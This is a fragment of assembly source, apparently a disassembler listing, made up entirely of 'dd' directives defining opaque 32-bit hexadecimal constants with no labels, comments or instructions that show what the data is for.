dd 4A75D799h, 82B4FC26h, 4BBA8435h, 243ECFFEh, 318B8740h
dd 74105FCBh, 6812FBBFh, 0B5E02D3Fh, 0E8B4414Ch, 199716AAh
dd 57E2F1B4h, 8BDD78B2h, 0C254FC9Bh, 750983D9h, 5F88CEDBh
dd 29022F92h, 0BEA41h, 8BA523Ah, 35953E14h, 280911A7h
dd 9311807Dh, 0A1B9B896h, 0D2793096h, 545FF4DAh, 0DC815C72h
dd 12B82E9Fh, 0C83E4385h, 5D1F5C85h, 20654D52h, 341E9009h
dd 7E2EC6Ah, 291409D7h, 62CC6CC1h, 65CE8B95h, 3944252Eh
dd 0B9736921h, 0AFD3E1A7h, 67185300h, 17CB814Bh, 0BCC35406h
dd 0F0FE7412h, 0FB095612h, 0D4806009h, 0B850407Ch, 4012458Bh
dd 86095576h, 5420182Eh, 9422C159h, 2A741A07h, 8617CBCh
dd 7E95DDF7h, 0D0FA5EE1h, 0B1B83A17h, 87285FF8h, 8FEAD2B8h
dd 3FE2BCBh, 7C9C0C98h, 215F802Dh, 6938045Eh, 2D826A4Eh
dd 22E1A62Ah, 18BF0472h, 4D541C13h, 0E54C6426h, 750D561Ah
dd 0B5A7D76h, 18A1FDB7h, 2484DBE9h, 0E0FBC10Dh, 0E63B3D95h
dd 190B7830h, 0DC2C5648h, 0A1FF5B31h, 2EBCE5E9h, 3E300C89h
dd 665695ABh, 0A8E48069h, 3C413D3Eh, 0A172EF29h, 0C285D08h
dd 158AFBF5h, 525BD809h, 64058498h, 1B075D02h, 892DD029h
dd 0F7FB5507h, 77E20BA6h, 7F820974h, 7245856Eh, 2129492Ah
dd 530425D0h, 18805B54h, 1D3F1706h, 0A521E94Dh, 3501CF59h
dd 0DD116BA9h, 0B9ECEF45h, 92C0C7B1h, 42B5C16Fh, 25A9F27Eh
dd 417F615h, 0B2B5DCE9h, 689475CDh, 2EF09289h, 0EA2AA324h
dd 7BD4D146h, 0FAF15592h, 755F7F09h, 0FA2C6BD0h, 0BC40EE2Bh
dd 9767A760h, 0A7488BDCh, 348B600h, 492FE962h, 0FE1C4672h
dd 0BD461210h, 5E150B3Eh, 0E68C8026h, 5B3A1BA0h, 39E9BC55h
dd 9B63AD68h, 0C5DD804Bh, 132698AEh, 0A0520760h, 6D04FEE2h
dd 0D6297CF6h, 0C680810h, 65E91F14h, 4BF217Ch, 0A16675CEh
dd 0FE201AE1h, 65805C23h, 717F5BC9h, 6C56B4Ch, 43B6BB81h
dd 0BF3B0C7Bh, 8FA1309h, 5F170B83h, 9EBAA7D5h, 6CE9095Bh
dd 9B27A27h, 1D0A0966h, 1485F05Fh, 0E1710BC5h, 2137EB16h
dd 2B910C59h, 148628BEh, 1E32608Bh, 0F028A504h, 3E5E59F2h
dd 788E36D0h, 7D89F2FAh, 499630F9h, 641AF51Bh, 0C2BD7B73h
dd 826FDE7Eh, 1EFA27BDh, 3508AC83h, 0F2DE448Ah, 2E149807h
dd 0BECDA15Fh, 0D2318813h, 31BFF4C3h, 0A53F84D6h, 0A5D6F1EDh
dd 0F7FA7DD6h, 3952D483h, 8BBF9E0Bh, 29278215h, 0C34841F8h
dd 2D68BCFDh, 0E1515927h, 33447F49h, 48B1DA7Ch, 60B5825h
dd 6E3961DDh, 50281101h, 0A3900A68h, 0BDB6AD20h, 3A2021D0h
dd 8692CF36h, 0F321B039h, 6848657Bh, 5BBF703Ch, 32CA82E1h
dd 826125D5h, 0C20640C6h, 0EE3D71D2h, 76B5A443h, 0A0CE479Ah
dd 0E066BB55h, 29F92598h, 283B2B71h, 0A05BAC8h, 5083A49h
dd 27CDC8AFh, 88AF9B4Ah, 0F6255C5Bh, 89CF71E1h, 9EDF6931h
dd 295A2041h, 16C10539h, 262161E6h, 0CC3F0E87h, 0D14F245h
dd 5F082176h, 8540CFB9h, 59A0BF86h, 543D5A2Dh, 9E01C9ECh
dd 68124232h, 6386CC6h, 0DB701C1h, 95F07BD8h, 581FC982h
dd 7474C677h, 5154BA90h, 0FC3F9DF2h, 10C6B98h, 5E76DE27h
dd 0CE39E36Fh, 4EB789E9h, 37DF3035h, 7975C2ADh, 9B6F312Eh
dd 68818E2Ch, 6B4F3DEAh, 7AC6B171h, 20981EA3h, 990F8BD9h
dd 9E6BECD5h, 6A5CF103h, 34CDD9D1h, 59CE2100h, 7E6C113h
dd 84A2810Fh, 0B780778Ch, 16880FFCh, 0E0AFE901h, 0B0EC5178h
dd 645C0DC9h, 0D162D85h, 0D6B552CCh, 58C662D6h, 2225E2E5h
dd 981E6BDh, 981EF7Fh, 0DF2067E9h, 5A4C7B35h, 9FE87C4Eh
dd 0AA280D12h, 1B42F22Dh, 0CDA482Fh, 1DD23D1Bh, 0AF7D8B12h
dd 2D302CA5h, 914B1310h, 7CF7B01Ah, 4141784Fh, 7EDA17FEh
dd 18912620h, 0C0DBF53h, 26170C77h, 0F70E4910h, 7C6CA174h
dd 0E900F109h, 694850E0h, 93CA3BCDh, 6C27C906h, 354A0E01h
dd 705A5DF6h, 586EC249h, 2F764820h, 17015CFBh, 6ABFF126h
dd 82A41CACh, 67D53300h, 32C5271Dh, 5DCBE906h, 0B9C25A85h
dd 4E2E480Ch, 12CD5C0h, 3E83DC0h, 70C1B12Fh, 16432C64h
dd 0F2B72790h, 6F1C04Ah, 3A7D6618h, 6734E305h, 88002E9Eh
dd 1DF76F7h, 0EA539546h, 6BFB043Bh, 0F6A1EFA6h, 0E3031D6Ch
dd 27F506AAh, 20FCC3B0h, 8E3A7624h, 5FDF321Ah, 94CAD96h
dd 0E2C14ECBh, 0F3FED568h
dd 5F4A00BDh, 0B6BE134Eh, 5060C470h, 9E42E080h, 0AB74B76Eh
dd 5B600820h, 0D84D101Eh, 99314A47h, 793B61FCh, 0DC815088h
dd 2D5C141h, 0C5088E50h, 0B3531758h, 420FB94h, 2671AFB9h
dd 3404C0Ch, 35453E7Fh, 1A6B0C07h, 0E1C11070h, 23C46520h
dd 0A0E92D41h, 9C29EA0Bh, 6916D1D7h, 0DA0F2AFFh, 84C60318h
dd 0FCDA907Ah, 0EB6A58E3h, 840BC81h, 40FB3A07h, 0EE38F270h
dd 69B2297Ah, 3B6D4120h, 335A5368h, 8DFA3C75h, 0E130EDC8h
dd 8852580Eh, 71F749CEh, 3DBA09BDh, 2935A7Dh, 437B79E7h
dd 9E40503Eh, 4A0101ECh, 7F21B823h, 0C02F2AC1h, 56920DD0h
dd 2D25C900h, 32127E73h, 5AA80505h, 0BE215875h, 0F7D87C2Dh
dd 289EE067h, 25835630h, 0FE435B6h, 29407EF0h, 0BF02B559h
dd 0D60B413Bh, 91E4A75Ch, 9D433020h, 0E134AA58h, 0AEC10E17h
dd 5005006h, 591D08D6h, 0E4844053h, 0B8AE19A0h, 0CF011713h
dd 515D5D01h, 63743AB1h, 7AE6275Eh, 1C566D6h, 160954A0h
dd 8B5559CBh, 278A1CBCh, 59BAD527h, 97752518h, 0A8BA6082h
dd 3DE12577h, 0A42FA278h, 41FBF321h, 7A75F9E9h, 0A059DFDCh
dd 0C964AF2Ch, 21F5EB3Fh, 282568DBh, 0F5C67F78h, 0F305274Dh
dd 0A1439D10h, 0A0A707D6h, 0CB2FFC89h, 6977ED25h, 263CB043h
dd 92CF4C7Bh, 83728014h, 5225BAB0h, 27FC9F5Eh, 516FA307h
dd 4BE26023h, 6C0D8021h, 64DEA87h, 206FE57Eh, 1B029A63h
dd 0B8E94923h, 6A77094Fh, 8E2EFDBEh, 0C36A061h, 52CAD87Dh
dd 63F43218h, 274F3818h, 7670954Dh, 16DA8927h, 0B2C50125h
dd 1432A28h, 8DEA0D5h, 58B3749Fh, 0CC01DDBh, 1C074BBAh
dd 0C3BE0572h, 0E0B6EFF8h, 0B4D3EE9h, 0BA5201E0h, 30A95A40h
dd 937CA2F1h, 0AB5B5413h, 985F7D9Bh, 6F3A68BEh, 24D24E74h
dd 0EEE6DD6Bh, 6032C995h, 0C6D325C7h, 0E2F61172h, 0F820E04Eh
dd 9542CD68h, 0DC2FF746h, 0DFE0CA84h, 0C3694C2Fh, 73145E1h
dd 69511582h, 92E3BC77h, 3DC9C10Bh, 2BA2C92Ah, 0C28C00BAh
dd 22283AE5h, 2A320CC0h, 38E9FEF7h, 0AA5B342Ch, 0B0684F3Ch
dd 60B19EA7h, 214F03F7h, 0C5587FAh, 5D5A2B0Dh, 0FEA1610Ch
dd 0A6BD9D81h, 0E8156616h, 99B5B938h, 0A53F6A5Bh, 91853B49h
dd 0C80D0439h, 4AF18004h, 0C9603C88h, 2C8B5D04h, 0EEA5C8A9h
dd 284B90F6h, 0E97557E3h, 59CACA5Dh, 0C1C90124h, 4933A826h
dd 0D4103369h, 1724C4Fh, 0D6D669Fh, 352EDA31h, 329360D7h
dd 3FFFD587h, 2610A2B0h, 15A18FDh, 355360F7h, 23C14101h
dd 0F0280175h, 0C444ED31h, 88D2A4h, 0C12C4835h, 685602EFh
dd 187D4B25h, 20459A0h, 23BE6A87h, 0AE63399Eh, 0AEBD565Bh
dd 1EE2BD5Bh, 7D27236Bh, 0D09DA1CCh, 0EEE85F75h, 0C9908B62h
dd 0BEFC5940h, 91399C54h, 0C5B32C8h, 0CBB1002Bh, 80019DB7h
dd 0CFFED6F7h, 8BCD7F6h, 0C69E797h, 0B82AD1D9h, 0E816040Bh
dd 0E2350874h, 1459E08h, 0A0136855h, 3BB321D0h, 0A7E666FAh
dd 8C47912Ah, 14F0E23Bh, 4CB30A16h, 2D047985h, 0FF33AEE9h
dd 0F440F9FAh, 0E28581FDh, 0B427FC70h, 69CCA0BFh, 5C8EC52h
dd 444B4947h, 0CAC18A87h, 0B76F68D5h, 1A13147Bh, 0DAD0D1h
dd 3EAB0A14h, 4FB5E95Eh, 9E60B948h, 556D0889h, 660BFB9Ch
dd 0F61A73B9h, 34F0F37h, 7D8DEC32h, 1F41554Ch, 5DCF39B2h
dd 4EBFA257h, 55F87564h, 3E7C102h, 0FF5B9FE9h, 0EA7657C4h
dd 2C044D1Fh, 44C25452h, 0C4835766h, 0E3A3D4F6h, 0DC7658C2h
dd 69CE8007h, 0CAAAC3Fh, 0D2E913DEh, 0F96DF44Fh, 22EF5608h
dd 80FC2729h, 2112DD00h, 9779E975h, 0D8ED1823h, 505601D8h
dd 0F1D2A7F8h, 91FBCED4h, 56EDDD1h, 493800BCh, 4D1920FAh
dd 77E6892Ch, 79C1F516h, 0B27B315Eh, 5E55C978h, 32DD25C2h
dd 5A27FF8h, 0F8D95C37h, 8384F7C9h, 5A9801Ch, 0E427F506h
dd 2ACC556Ah, 75523ABCh, 6F472582h, 4C587F09h, 0EA5D9505h
dd 0ABE65964h, 5C21A710h, 82C33CC0h, 13BE844h, 35CB5AD8h
dd 80F5ABCAh, 0BE75BFDAh, 774BB92Dh, 26DA6029h, 2A22F334h
dd 0E588EDEBh, 57F86A99h, 0E660B68h, 46026A88h, 0F1FD906Bh
dd 821C9006h, 54597268h, 0B1107BB5h, 800E763Bh, 0F56132E5h
dd 0C18DB64Ch, 0E4B06EEEh, 5ADE98EBh, 3023C92Bh, 1040CDD9h
dd 45D7A05Bh, 0F82C713Eh, 0A6A25413h, 0C67995F9h, 68C5DF25h
dd 6965576Bh, 0E051D81Bh, 0B8B92CC2h, 0CEB2BFh, 0E00B2EB8h
dd 5D0F725h, 664BD607h, 9B312D73h, 913A5D53h, 49F70836h
dd 0C4C7F3DCh, 4039BA1Dh, 2ED11B60h, 1A50563h, 0CD1849F5h
dd 0EB832047h, 20606D0Eh, 5B2DB601h, 0AD9DF46Ah, 44680D0Ch
dd 24A30E59h, 89C2D17h, 702F0FA1h, 0B2EA171Bh, 0F6B604C0h
dd 41ECBDAh, 65E97FB5h, 195245BFh, 0E2ED6759h, 680263B4h
dd 0F42BD8C5h, 8D316BC0h, 5E9F2878h, 565A0996h, 787783C2h
dd 0F5669040h, 161AE22Eh, 0BBD187h, 212C7661h, 344B682Eh
dd 3981EBADh, 5A7967h, 1262CE35h, 0AF4023C5h, 0B05AE4A2h
dd 3AFD3442h, 9F2B63Ch, 720D2D3Fh, 56E102F7h, 6F0F5C54h
dd 3DEADE2Bh, 0AD1FD97Fh, 0AC42A17Ch, 4D99FFADh, 4E6338B6h
dd 8E148AAEh, 563C9AF3h, 0DCF05A35h, 0B2754100h, 74E4056Ah
dd 927F286Ch, 18E38192h, 7E2AA17Ah, 33D42AA7h, 0BFB64013h
dd 2C687828h, 0C05A2090h, 619C722Bh, 0EA0B8EB0h, 0DF62CD19h
dd 30522A83h, 1A060DABh, 104A749Ah, 781A1618h, 5607EE37h
dd 82A9B82Eh, 5C141D05h, 69E2C2B4h, 8D899B59h, 4B841145h
dd 0FB48023Ch, 0EE570F16h, 556FAF04h, 3F91CAEAh, 0ED534F43h
dd 3A10AFA2h, 31007A61h, 4177214Ah, 189DF181h, 0C297C62h
dd 63064A5h, 4C0F1B6Ah, 0B1344A5Bh, 49D838ADh, 49F3C8F6h
dd 6FE5C5D8h, 3240EFF1h, 61334458h, 0BDFF657h, 8780FA8Dh
dd 0FA59C78Bh, 8BAF014Bh, 2AAA165Fh, 5EA4D45h, 0FAFA2C4h
dd 60D0DB65h, 2A745082h, 0A083B82Dh, 467C402h, 9BE962B4h
dd 37DFDADh, 270643AFh, 8958B950h, 0C2402F67h, 7F2E411Ch
dd 0CD885273h, 5C9620AFh, 35F8E4Ah, 0DF3541FAh, 7694939h
dd 8E14351h, 5D246800h, 7D0C3760h, 0BD29ADD4h, 1D672FF0h
dd 9864AC53h, 0BD3DFBA8h, 70B5029Fh, 0FCD25C30h, 82AA2D4Fh
dd 0EEA5CF60h, 0AC01AB58h, 30DC3E7Dh, 712A8083h, 1A035BB3h
dd 0EA0A9FF5h, 0CC263B53h, 7A98A628h, 30BB80FEh, 7F654D07h
dd 0E5C5D989h, 0DD81B64Ah, 0EE7CA200h, 24478F0Dh, 201A5320h
dd 795BEC0Ah, 90557B59h, 441C2FA7h, 0DA70B377h, 27545005h
dd 18D4F020h, 62DF6858h, 23392D2Fh, 2DD8B155h, 0EBF51447h
dd 39EFC717h, 3F68FDE1h, 0FBF39644h, 2511A0AFh, 923AEE96h
dd 88A41DB0h, 850C39C8h, 6D52C04Fh, 0D29547C2h, 1225F25Fh
dd 0C9DC9B3h, 917D3F17h, 0D3293FC5h, 5C878201h, 0A3F470D0h
dd 1A7597B4h, 3DA07634h, 8DB7724h, 2C93177Ah, 7B12A9A2h
dd 7A61BB82h, 8D281DD7h, 3CF42DC0h, 2CFC665Ah, 0C6DD0F64h
dd 0F6A3F1EBh, 29628454h, 408591FEh, 0E9E4857Eh, 6852801Eh
dd 5A7C1B08h, 0FCE8A04Ch, 0B383E404h, 0A9FAD589h, 2C2E84FBh
dd 0F1E3ECAAh, 8C7E6D05h, 0D2B7EF8Bh, 0C701054Bh, 4796A8E9h
dd 0C78851B6h, 0ACF3553h, 0CF961FA3h, 7BC0452Bh, 5EEE585Ah
dd 0FD5DEC55h, 0BE4A3477h, 700F7813h, 52C69200h, 2526AA01h
dd 0B66019E9h, 73EE564Eh, 7EC914Bh, 40482FC4h, 1E21B8C3h
dd 0F8294B39h, 5E084012h
dd 0DF168B95h, 805196B0h, 0AAC04AD7h, 60621B1Dh, 0C1CDAC4Ah
dd 0F7FAF341h, 0EB0D548h, 0C97E85EDh, 5F5F86Bh, 7E95140h
dd 5FF06392h, 1EE0F55Fh, 0FBE35B4Dh, 3E47D520h, 0A00A4F42h
dd 14F356Ah, 52ED054Bh, 30CD4CAh, 0E94B9805h, 0AD71B0D2h
dd 25E5052h, 0F61BDD68h, 0E2D7CA03h, 0B9C4004Fh, 0B5274E1Eh
dd 5F19D8E0h, 8F48DC26h, 0D668402h, 2E19C157h, 4A88A864h
dd 164B8D7h, 1AC4805Ah, 4A39E128h, 0DD0FEE25h, 3086F5A3h
dd 0A4DF59C3h, 0FE40BB05h, 7EBF7A58h, 0FA44BD5Bh, 10B5040Bh
dd 0B54C7728h, 0D1B69880h, 0B0E7083h, 655468D0h, 41427732h
dd 1C838290h, 1363A17h, 60088D50h, 577E2BE6h, 48358053h
dd 135BD120h, 4B04D41h, 0FD3B087Dh, 5A523DE4h, 0F0008BA5h
dd 19050C5h, 3C0595D3h, 7B653E0Dh, 701BBB1h, 0B35CCE9h
dd 2778E578h, 576412B1h, 281B7C20h, 0AAF5DF29h, 0CFD95DC6h
dd 0DEEF894Fh, 0D4A7BB14h, 0D5F63683h, 7D20E8F1h, 5C7E0754h
dd 17B37337h, 68161346h, 0A46D877Ch, 0C4D9FB99h, 0B23B93E5h
dd 0DDE125D9h, 0D2AF09E3h, 0EFA94055h, 501478D5h, 4CC5F066h
dd 0DE26E1A9h, 0EA92BCB1h, 0AE87BAFAh, 0E7085956h, 1CBCE2C1h
dd 8F42E04Ah, 6B5DFE1h, 9D3F28A5h, 0BD293009h, 0E7D70073h
dd 4F9022F5h, 1D50ED1Ah, 43645958h, 0B545EF1Ch, 85BFF90Ch
dd 8711C7D6h, 0B844E55Dh, 5C5ADF78h, 76094210h, 0EE7E3C82h
dd 0DD3C5F36h, 0FDDDEC9Ch, 0DB2816D3h, 191A6BAFh, 1E4A95FFh
dd 92F9E5C3h, 0CBFA5292h, 65FB4ADEh, 0EFCEFE8Eh, 0CC63AD17h
dd 1A75BB60h, 0BF60F000h, 2E4A1D96h, 5BDF2631h, 9140B39h
dd 0AB4D29C0h, 0F1735194h, 1C878DC0h, 4B20BEh, 5EF30928h
dd 590981B0h, 0DF687A4Ch, 98641E81h, 6B7D6016h, 42F24514h
dd 77FA05BFh, 7FAD694Ch, 0F35A0840h, 3BBE17Ah, 6D8AE917h
dd 0FD826B74h, 4248DF25h, 415ADD76h, 24308C3Dh, 57A5F8BAh
dd 0F17CE63h, 0A78460E9h, 38E2C85h, 84C7800Eh, 0E9BDEF60h
dd 24B78A11h, 8F81C8D2h, 280097C4h, 30F080C1h, 0F13F5874h
dd 0FA92564h, 0E5EAC9C1h, 0E2800443h, 176081A6h, 6AAE2088h
dd 0E4006E41h, 2640BFCEh, 2243314h, 0B312F67h, 0E682F8FDh
dd 655B1E21h, 0E9CA4232h, 98F75670h, 2C359B98h, 0C551B2h
dd 6847421h, 0E912FD31h, 76EEA41Bh, 0FE0A50A2h, 0C67DBA75h
dd 0F702923Fh, 45E59E05h, 9116FBA6h, 0BA72BA32h, 8AC50F33h
dd 24B2FB52h, 0BB713902h, 1E415A23h, 440FB538h, 5B2C9BBCh
dd 7EC9011Fh, 206B9F2Ah, 3A2DE33Fh, 0EF0975C0h, 0FB90107Fh
dd 96B99D75h, 232AF968h, 0D5E90C5Fh, 12C627ABh, 173AF0h
dd 454DEEDAh, 0E9134471h, 742D3B5h, 61F151D7h, 8D35282Fh
dd 0A7E7F1DAh, 68122DD0h, 0A4CD08B7h, 54EDC501h, 2081A52Bh
dd 0BA0B8CDh, 395EDCE9h, 0B950976Ch, 329D89AEh, 0A2D2F43Bh
dd 0B9884877h, 7578094Ah, 9383D154h, 4F252761h, 0B059D6EBh
dd 1B68C382h, 1CB6BFFh, 0A10FE913h, 1DF67B49h, 7031910h
dd 0CB895952h, 1DB55A37h, 0F533E4BAh, 6A5DDDF9h, 310E17C0h
dd 81574CFCh, 0E9E6CC5Bh, 0EDE1B24Fh, 0E860AC2Ah, 16BB2D68h
dd 0F913F8C7h, 7551A709h, 5288B4D1h, 0C0449BAh, 0A0C0EC5Ah
dd 0B46E7668h, 1732623Bh, 2E1F9EDDh, 69CB85A8h, 5D70D160h
dd 5877210Ah, 0D325062Dh, 3B6F08DBh, 924E5F25h, 0AD95328Eh
dd 0A67E4052h, 1A4D7ECh, 166B6088h, 53FA015Ch, 0AF0B7CBFh
dd 4E73357Ch, 0C934D8B2h, 4C1A45F4h, 7C0ACDB8h, 0D4E967C2h
dd 31AB146Ah, 4A36003h, 179F8A3Eh, 22A46616h, 0B28EF030h
dd 707EB55Ch, 9D062EF0h, 20C16C13h, 0BE84C346h, 0E72B9F39h
dd 68E15BB1h, 3846797Fh, 46E9C37Fh, 0EB31201h, 0BDEB4E17h
dd 0BB0A8444h, 0E98037EDh, 0C966149Ah, 1F825F95h, 0F657E084h
dd 0ACE2E08Eh, 324A1D7Eh, 83DB24EBh, 0BED86777h, 1AC14A2Eh
dd 0FEBDDAC3h, 12A33C60h, 0B6E8853h, 64F7BADEh, 9C2A9E54h
dd 0ACA9533Fh, 91EFC6B0h, 964D7BB3h, 0C8134FC4h, 725D287Dh
dd 93C61398h, 0C452F2EAh, 21D50BDBh, 15CE0AFh, 985FC87Ch
dd 0B164740Ah, 8EA0217h, 4107721h, 4A167410h, 5DEE810Ah
dd 2F97D13Eh, 0EE4F35FCh, 84249D29h, 0DF793BD3h, 5747E913h
dd 9212EAAAh, 5A2BF6FFh, 449549EAh, 3FC539AEh, 6B84B44Dh
dd 1E464900h, 0B4EB8ABAh, 75B0A261h, 85FD86CAh, 80E87FF3h
dd 35834038h, 702E1C8Ah, 0C2500BE1h, 25DEFB5Dh, 1004E328h
dd 0EA305F89h, 955B4868h, 384BB87Bh, 0B95BDE9Eh, 263BA4B7h
dd 1E3B091Bh, 9346497Ch, 685C2451h, 1118255Bh, 1595A958h
dd 8ACAC3Ah, 2D03976Bh, 50B831AEh, 95DCD846h, 6ED1A486h
dd 0D6C64825h, 5044ECF0h, 12976805h, 8EC26715h, 3C51FFF8h
dd 80C31C6Ch, 24A055Ah, 0F9EE3264h, 15621BD4h, 23AEB127h
dd 35F48C2Bh, 0F65F6760h, 0B8DA7388h, 4D669ADh, 330B2DD0h
dd 0A4637244h, 28EE7D94h, 622C6842h, 2A6C0431h, 0E4279F7Ah
dd 923775C7h, 0B3C057BFh, 2FF0307Bh, 0F028CBB7h, 0F7BEE940h
dd 3125CB0h, 8B040E35h, 0C589DCB5h, 926BDEFh, 87D5F7h
dd 0DF74F16Fh, 4D7A7FEBh, 0B612E8CDh, 0A1B400A3h, 0CEFEDEF6h
dd 2C300ECEh, 4D88FEF5h, 67897611h, 5F9168D0h, 98B6572Dh
dd 6C93D298h, 69D6BD00h, 581210Fh, 79083AF5h, 7DCCFF2Fh
dd 0A5C441E2h, 7207D648h, 0B8D2C105h, 5FC7C67Fh, 0C059097Ch
dd 5EFE02EBh, 0EB92C38Fh, 10E1E3FDh, 2A6073Ah, 0EA4284BAh
dd 127D602Dh, 3AE3C6Ch, 0DA5180CBh, 0C74BBAE9h, 0ADCD90AEh
dd 29024516h, 0AB6A67BDh, 7BAEFDA4h, 0C5436064h, 0DDC4FAB1h
dd 0D39D88FAh, 724C2B78h, 503901E4h, 4AE977A3h, 0C126416Bh
dd 2F063843h, 3F1764F0h, 19DBDC22h, 3B0806A3h, 0C712C1A6h
dd 0D7F3BB4Eh, 9504513Bh, 0D95ED90Fh, 1DB27FFCh, 4799AC4Fh
dd 10464814h, 40218DEh, 72B35363h, 6CC18E5Fh, 0F92CB8F8h
dd 0CD7DA12Eh, 0E1DE2436h, 3A15D31Fh, 0C5CFC070h, 9829F2F3h
dd 8AC324A5h, 0BCD953F7h, 4E169DAEh, 490CB68Ch, 0AD8296EFh
dd 66548292h, 916F22Dh, 46DD0FFDh, 69DE5975h, 0F9E4C389h
dd 0F1F5FA27h, 9FAF42F0h, 379E14FDh, 0DDA2595Bh, 1B4A8003h
dd 1EE9C5Fh, 0C01096DAh, 0AEDC78F2h, 5851F58h, 192120C5h
dd 5C508A05h, 6F44A3D9h, 1C43F1EBh, 0A927E958h, 5EFE95Ah
dd 510E707h, 8900FB82h, 3E4DB951h, 0AE4550AFh, 0A440260Eh
dd 7DEC09B8h, 0AC127B57h, 605DE980h, 9D5E535Ch, 31251414h
dd 0C9447CF7h, 0F030B904h, 4E18BA93h, 0B8F10A60h, 7D7E2572h
dd 0B0812175h, 0C2DE85C2h, 0CBF8578Fh, 0D4F9292Ch, 1C0BBB60h
dd 21150D11h, 0F0C05BD9h, 0B5087Bh, 0AD8E5864h, 0CB291D41h
dd 0E36056E9h, 625E127Eh, 2B7CB5AFh, 12D62BCh, 9F505089h
dd 450AF19Fh, 827FF5Ch, 0BB1712F4h, 156BACD0h, 9201370h
dd 3B2A08D0h, 0A103CE24h, 0DA07C440h, 744D4A9Fh, 0B44F3D80h
dd 5944F7EBh, 0F8115B6Eh, 0A24EC4AFh, 0A6F1560Bh, 0B422DC24h
dd 9A07C0BDh, 0C33272Bh, 40139FF0h, 8BA0E883h, 0EA2F0F4Ah
dd 4EB1316Ch, 6AEB8392h, 7C51DDC6h, 0F72197E2h, 8B7711B2h
dd 0C20DFEC1h, 0C2D409F8h, 0F5A7708Ch, 2C45B0C5h, 4050D9Dh
dd 0EC04AB68h, 61D0C15Ah, 0FE2A3FE7h, 0FE2C1145h, 5590F482h
dd 0FD686118h, 3331394Bh, 31972B1Bh, 94D4FB0Dh, 3EED1BC1h
dd 7F2C7A0h, 14FC3293h
dd 580CD259h, 2C62B8FCh, 6E47568Bh, 5CDE67FEh, 6310E958h
dd 5FF5D394h, 9FA3DFBh, 0AB4257D6h, 2DBD284Dh, 0CC0094F2h
dd 407A8950h, 38B205h, 44350CFBh, 31BDED68h, 0C537DE9Fh
dd 0AA44EE1Ah, 0A1575905h, 5D41E445h, 0C0060227h, 0EA719485h
dd 0F9E2B503h, 5DCE8440h, 0DA89091Fh, 7EA1E906h, 68C20ADBh
dd 0C0BB5286h, 3EEB755Dh, 57B400BDh, 100ABFh, 0F7815C5Ah
dd 1744024Ah, 0D54AE3B0h, 0A86F31FBh, 5AB269D8h, 14486DBDh
dd 9580FD2Ah, 0F2ABBB57h, 261076B9h, 9EC4CCCCh, 11C67B01h
dd 8E1CE958h, 4E278124h, 0EE523535h, 522006E1h, 0BA4E3CD3h
dd 417EE14Ah, 0CB611D53h, 0F1D4AEDCh, 61C081Ah, 9E25F17h
dd 6C152D65h, 5550550Bh, 0DCB70998h, 0CBFE4043h, 0EBF4DBF6h
dd 2FD8E9FBh, 0BEC9DCB3h, 15F3E21h, 4CE488F1h, 88592786h
dd 60C138E2h, 8243DE17h, 424F6D4h, 2D9C5715h, 179176FDh
dd 0F9F83559h, 16FB1874h, 83A58A7Bh, 44DBD200h, 0C7BD721Fh
dd 0B81306FEh, 20A0F4E9h, 0E8835924h, 69B3D12Dh, 0C876830h
dd 65B1D597h, 0C9946A68h, 2C54F798h, 40A218E9h, 0A1B6FDEEh
dd 0CF5A567Bh, 94BAF8C5h, 0B6FBEC39h, 2CD3587Ah, 61D77C27h
dd 0A512C47h, 0F0248DE9h, 5E6D2D68h, 5B27B646h, 0B017D343h
dd 1F089753h, 93403F5Dh, 5F0C1510h, 0D19340F3h, 5017AABh
dd 0C11662A8h, 0D621A8EFh, 308CBE19h, 0F11B046Bh, 0E8891EDAh
dd 81A7301Eh, 0E43F5F30h, 770BC6D1h, 781AB61Eh, 355A0996h
dd 0C0753154h, 948F9BAh, 0F3017FBCh, 9D4496F7h, 0FC824B1Ah
dd 59CC01AEh, 7D14920h, 7E69920Dh, 0A860A266h, 0DDD9F749h
dd 64002F14h, 269DC5BAh, 0FA291325h, 3AAE8D5Fh, 636574C0h
dd 3D350030h, 0E92EF80Bh, 5C9FF906h, 2A51512Dh, 6C4121C0h
dd 68500439h, 0C2B431A3h, 17763D13h, 75539309h, 0F4576411h
dd 0AFB2F284h, 0C27C329Dh, 60F6573Ah, 263DC108h, 54AE00DCh
dd 0CE013F92h, 0C1CCB2B5h, 97E0D1Ah, 90DC5D36h, 0FD2B6879h
dd 138284D0h, 73D9FB17h, 7B9F7BF4h, 0A0BDB80Ch, 7505268h
dd 0F029E7E1h, 0C1D8A55Eh, 23461CB5h, 0EB5CCFECh, 1709F0B8h
dd 0C0D05AB2h, 0D188F390h, 0F0C9D8F1h, 3C72E9F2h, 0DB9FF92Ah
dd 0A73B270Eh, 2691A363h, 905C828h, 77C93A71h, 3DA479AEh
dd 8648E993h, 819D8C11h, 4C3F3C49h, 2C34B02Ah, 146539Dh
dd 46211BBDh, 0B3F9888Bh, 4EFB2056h, 0D61FAAEDh, 0FD621D0Bh
dd 1CDDEB64h, 0C860D90Fh, 4765ADBAh, 10685701h, 5FCDD047h
dd 0C781DFD2h, 70992E1Bh, 0E39DFD24h, 0D80F41Ch, 497DD4AFh
dd 9879B488h, 1A4B201Dh, 0DF895916h, 0E1995104h, 1518310Bh
dd 2829477h, 0F1036BDh, 2736FBEh, 25501408h, 47452FDFh
dd 5F091E94h, 0B81C267Bh, 0D5D2F0C4h, 556182EBh, 3613B68h
dd 0A63C942Ch, 5D2F07A0h, 86A5F721h, 5E40EC47h, 3C55C09Eh
dd 16CB8F7Eh, 0B3E94F42h, 6067AFD6h, 848CF6C9h, 0EFD567E9h
dd 522773A2h, 2F20ED5Fh, 0B7ECA7D4h, 0FE6049B2h, 2880703Dh
dd 0CA814A22h, 793B6AD1h, 35F20229h, 5870CB76h, 2C12C0F1h
dd 0E96EC823h, 404CBC32h, 8BF840ADh, 5DF10041h, 8D4B2E2Dh
dd 0D0482922h, 7B4F1EE6h, 0C9816A80h, 0B07437EBh, 0DAE901BAh
dd 0C10D4841h, 0D03021E1h, 293F69DEh, 0C878380Fh, 36C5804Ah
dd 0F8DD742Dh, 56B54F76h, 0DDC6AB99h, 20C30F0Ch, 0FB320DE5h
dd 4B932441h, 7970543Ah, 0F5401DFAh, 46CB8136h, 2B513B24h
dd 14E684B4h, 0EF2FD53Ah, 2118710Bh, 123C1A8Ah, 0A14BFD59h
dd 0A3347BDAh, 6BA4EEF0h, 16FF0E38h, 42C70063h, 54741230h
dd 5A77311Ch, 0C2DFE92Fh, 5CEDD5ACh, 728C3C26h, 0EF3F111h
dd 18D03EA2h, 6C69EBC0h, 0E915192Ch, 3B959816h, 1B90985Dh
